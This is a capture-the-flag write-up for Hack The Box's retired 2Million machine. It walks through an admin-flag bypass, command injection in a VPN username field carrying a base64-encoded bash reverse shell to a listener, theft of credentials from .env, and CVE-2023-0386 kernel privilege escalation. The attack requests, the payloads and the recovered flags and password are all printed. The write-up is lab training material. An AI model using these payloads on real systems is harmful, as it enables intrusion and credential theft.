

Hack The Box – 2Million (Retired)

Martina Giacobbe

July 18, 2025

Summary

2Million is a Linux machine focused on web and API exploitation followed by kernel privilege escalation via CVE-2023-0386. The challenge highlights improper client-side logic enforcement, insecure admin functionalities, and exposure to modern local privilege escalation vulnerabilities.

1 Enumeration

1.1 Nmap Scan

```
nmap -sC -sV -oA nmap 10.10.11.229
```

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 8.9p1 Debian 1 (protocol 2.0)
80/tcp	open	http	nginx 1.18.0

2 Web Analysis

Browsing the web interface showed a welcome page and an invite code input at `/invite`. The client-side JavaScript handled logic for checking and submitting invite codes.

```
1  function verifyInviteCode(code) {
2      var formData = { "code": code };
3      $.ajax({
4          type: "POST",
5          dataType: "json",
6          data: formData,
7          url: '/api/v1/invite/verify',
8          success: function(response) {
9              console.log(response);
10         },
11         error: function(response) {
12             console.log(response);
13         }
14     });
15 }
16 function makeInviteCode() {
17     $.ajax({
18         type: "POST",
19         dataType: "json",
20         url: '/api/v1/invite/how/to/generate',
21         success: function(response) {
22             console.log(response);
23         },
24         error: function(response) {
25             console.log(response);
26         }
27     });
28 }
29
```

2.1 JavaScript Analysis

Reviewing the script uncovered code that sends invite tokens to `/api/v1/invite/verify`. There is also a `/generate` endpoint.

```

1 POST http://2million.htb/api/v1/invite/how/to/generate HTTP/1.1
2 Host: 10.10.11.221
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Cookie: connect.sid=s%3ADXIcVWwElaJ1w1N9-oSPte-BxV-KxLc.LFCVSNRpCmKSZ5Fd%2Fh2QrGS7ABXjS4GMXiZEEehfSQs
9 Upgrade-Insecure-Requests: 1
10 Priority: u=0, i
11 Content-Length: 8

```

Response

Pretty Raw Hex Render

```

1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Fri, 18 Jul 2025 14:45:32 GMT
4 Content-Type: application/json
5 Connection: keep-alive
6 Set-Cookie: PHPSESSID=2koqpsd0nlsfa8ufpe9751rg5k; path=/
7 Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Cache-Control: no-store, no-cache, must-revalidate
9 Pragma: no-cache
10 Content-Length: 249
11
12 {
13   "0": 200,
14   "success": 1,
15   "data": {
16     "data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFg erdhrfg gb \\ncv\\il\\vaivgr\\trarengr",
17     "entype": "ROT13"
18   },
19   "hint": "Data is encrypted ... We should probably check the encryption type in order to decrypt it..."
20 }

```

Upon fetching the generated code, it appears obfuscated.

Using ROT13 on the value followed by Base64 decoding revealed in CyberChef:

RN8PQ-GCBNJ-Y7QBR-S5PQ2

Entering this value on `/invite` redirected to the registration page.

3 Account Creation and Panel Discovery

After registration, we are taken to a portal page. BurpSuite was used to analyze backend activity. There is an endpoint in which is possible to download vpn and the endpoint associated to the download is very interesting.

A request to `/api/v1` returns user information if a valid cookie is present.

```
1 HTTP/1.1 200 OK
2 Server: nginx
3 Date: Fri, 18 Jul 2025 15:10:10 GMT
4 Content-Type: application/json
5 Connection: keep-alive
6 Expires: Thu, 19 Nov 1981 08:52:00 GMT
7 Cache-Control: no-store, no-cache, must-revalidate
8 Pragma: no-cache
9 Content-Length: 800
10
11 {
  "v1": {
    "user": {
      "GET": {
        "\api\v1": "Route List",
        "\api\v1\invite\how\to\generate": "Instructions on invite code generation",
        "\api\v1\invite\generate": "Generate invite code",
        "\api\v1\invite\verify": "Verify invite code",
        "\api\v1\user\auth": "Check if user is authenticated",
        "\api\v1\user\vpn\generate": "Generate a new VPN configuration",
        "\api\v1\user\vpn\regenerate": "Regenerate VPN configuration",
        "\api\v1\user\vpn\download": "Download OVPN file"
      },
      "POST": {
        "\api\v1\user\register": "Register a new user",
        "\api\v1\user\login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "\api\v1\admin\auth": "Check if user is admin"
      },
      "POST": {
        "\api\v1\admin\vpn\generate": "Generate VPN for specific user"
      },
      "PUT": {
        "\api\v1\admin\settings\update": "Update user settings"
      }
    }
  }
}
```

When visiting `/admin/auth` and `/admin/vpn/generate`, a message indicates access is forbidden unless the account has admin privileges. However, this restriction does not apply to `/admin/settings/update`, which only requires that the content be JSON and include specific fields. By submitting a malicious payload containing a forged email and setting `"is_admin": 1`, we are able to escalate privileges and make our user an admin.

4 Admin Bypass Exploit

Using BurpSuite, we tested POST requests to `/api/v1/admin/settings/update`. An error returned prompting for the "email" field.

After submitting the email, another error revealed the need for `"is_admin"` as a required parameter. Submitting both:

```
{
  "email": "example@htb.local",
  "is_admin": 1
}
```

gave admin access.

```
1 PUT /api/v1/admin/settings/update HTTP/1.1
2 Host: 2million.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Content-Type: application/json
9 Cookie: PHPSESSID=ntaim17mlpc8lrssc410lauv5t
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12 Content-Length: 48
13
14 {
15     "email": "example@htb.com",
16     "is_admin": 1
17 }
```

? ⚙️ ⬅️ ➡️ Search

Response

Pretty	Raw	Hex	Render
<pre>1 HTTP/1.1 200 OK 2 Server: nginx 3 Date: Fri, 18 Jul 2025 15:22:24 GMT 4 Content-Type: application/json 5 Connection: keep-alive 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Content-Length: 43 10 11 { 12 "id": 15, 13 "username": "example", 14 "is_admin": 1 15 }</pre>			

5 VPN Generator Exploit

In the admin panel, the VPN configuration generator included a "username" field. Testing showed it was injectable and would be embedded into a bash script. I try with a simple code and it works.

```

1 POST /api/v1/admin/vpn/generate HTTP/1.1
2 Host: 2million.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Content-Type: application/json
9 Cookie: PHPSESSID=ntaim17mlpc8lrssc410lauv5t
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12 Content-Length: 36
13
14 {
15   "username": "test;whoami;id;"
16 }
17

```

? ⚙ ⬅ ➡ Search

Response

Pretty	Raw	Hex	Render
<pre> 1 HTTP/1.1 200 OK 2 Server: nginx 3 Date: Fri, 18 Jul 2025 15:30:53 GMT 4 Content-Type: text/html; charset=UTF-8 5 Connection: keep-alive 6 Expires: Thu, 19 Nov 1981 08:52:00 GMT 7 Cache-Control: no-store, no-cache, must-revalidate 8 Pragma: no-cache 9 Content-Length: 63 10 11 www-data 12 uid=33(www-data) gid=33(www-data) groups=33(www-data) 13 </pre>			

Payload construction:

```
bash -c "bash -i >& /dev/tcp/10.10.14.49/1234 0>&1"
```

Base64 encoding:

```
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE= | base64
➡ -d | bash;
```

This payload was inserted in the "username" field in the VPN form:

```
"username": "$ (echo <base64> | base64 -d | bash)"
```

Starting a listener:

```
nc -lvnp 1234
```

```

1 POST /api/v1/admin/vpn/generate HTTP/1.1
2 Host: 2million.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Connection: keep-alive
8 Content-Type: application/json
9 Cookie: PHPSESSID=ntaim17mlpc8lrssc410lauv5t
10 Upgrade-Insecure-Requests: 1
11 Priority: u=0, i
12 Content-Length: 105
13
14 {
15   "username": "test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS8xMjM0IDA+JjE= | base64 -d | bash;"
16 }
17

```

```

Benvenuto marty il tuo pc si chiama pop-os
marty@pop-os: ~/Desktop/writeups$ nc -lvnp 1234
Listening on 0.0.0.0 1234
^C
marty@pop-os: ~/Desktop/writeups$ cd ~
marty@pop-os: ~$ nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 2million.htb 57556
bash: cannot set terminal process group (1192): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$

```

Reverse shell successfully spawned.

6 User Flag Access via SSH

From the reverse shell, we explored and found credentials in the `.env` file.

```
www-data@2million:~/html$ ls -a
.   .env      Router.php  assets      css      images    js
..  Database.php VPN          controllers fonts    index.php views
www-data@2million:~/html$ cat .env
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
www-data@2million:~/html$
```

SSH login worked:

```
ssh admin@2million.htb -p SuperDuperPass123
```

The flag is in the `user.txt`.

```
admin@2million:~$ ls
user.txt
admin@2million:~$ cat user.txt
ef0bea41e1bad254d21ce135a736b66f
admin@2million:~$
```

7 Privilege Escalation: CVE-2023-0386

Checking the `/var/mail` I found a mail in which a specific vulnerability is exposed. It refers to the one in this article: <https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/>.

```
admin@2million:/var$ cd mail
admin@2million:/var/mail$ ls
admin
admin@2million:/var/mail$ cat admin
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host?
There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather
```

Checking the kernel:

```
uname -a
Linux 2million 5.15.70
```

Vulnerable to OverlayFS bug CVE-2023-0386. A PoC was discovered on GitHub: <https://github.com/xkaneiki/CVE-2023-0386>

Transferred via SCP:

```
scp CVE-2023-0386.zip admin@2million.htb:/tmp
```

Compile and run accordingly to the github documentation:

```
cd /tmp/CVE-2023-0386
make all
./fuse ./ovlcap/lower ./gc &
./exp
```


Compile

```
make all
```

Use

Start two terminals and enter in the first terminal

```
./fuse ./ovlcap/lower ./gc
```

In the second terminal enter

```
./exp
```

Effect

Privilege escalation

Root Flag

```
cat /root/root.txt  
a51c92bc89f806710bb2bee94b4deeb6
```

Conclusion

2Million combines modern web API exploitation with a real-world kernel privilege escalation vulnerability. Takeaways:

- Never trust client-side logic — always validate server-side
- Avoid insecure deserialization or unsanitized injections in APIs
- Patch critical kernel vulnerabilities like OverlayFS (CVE-2023-0386)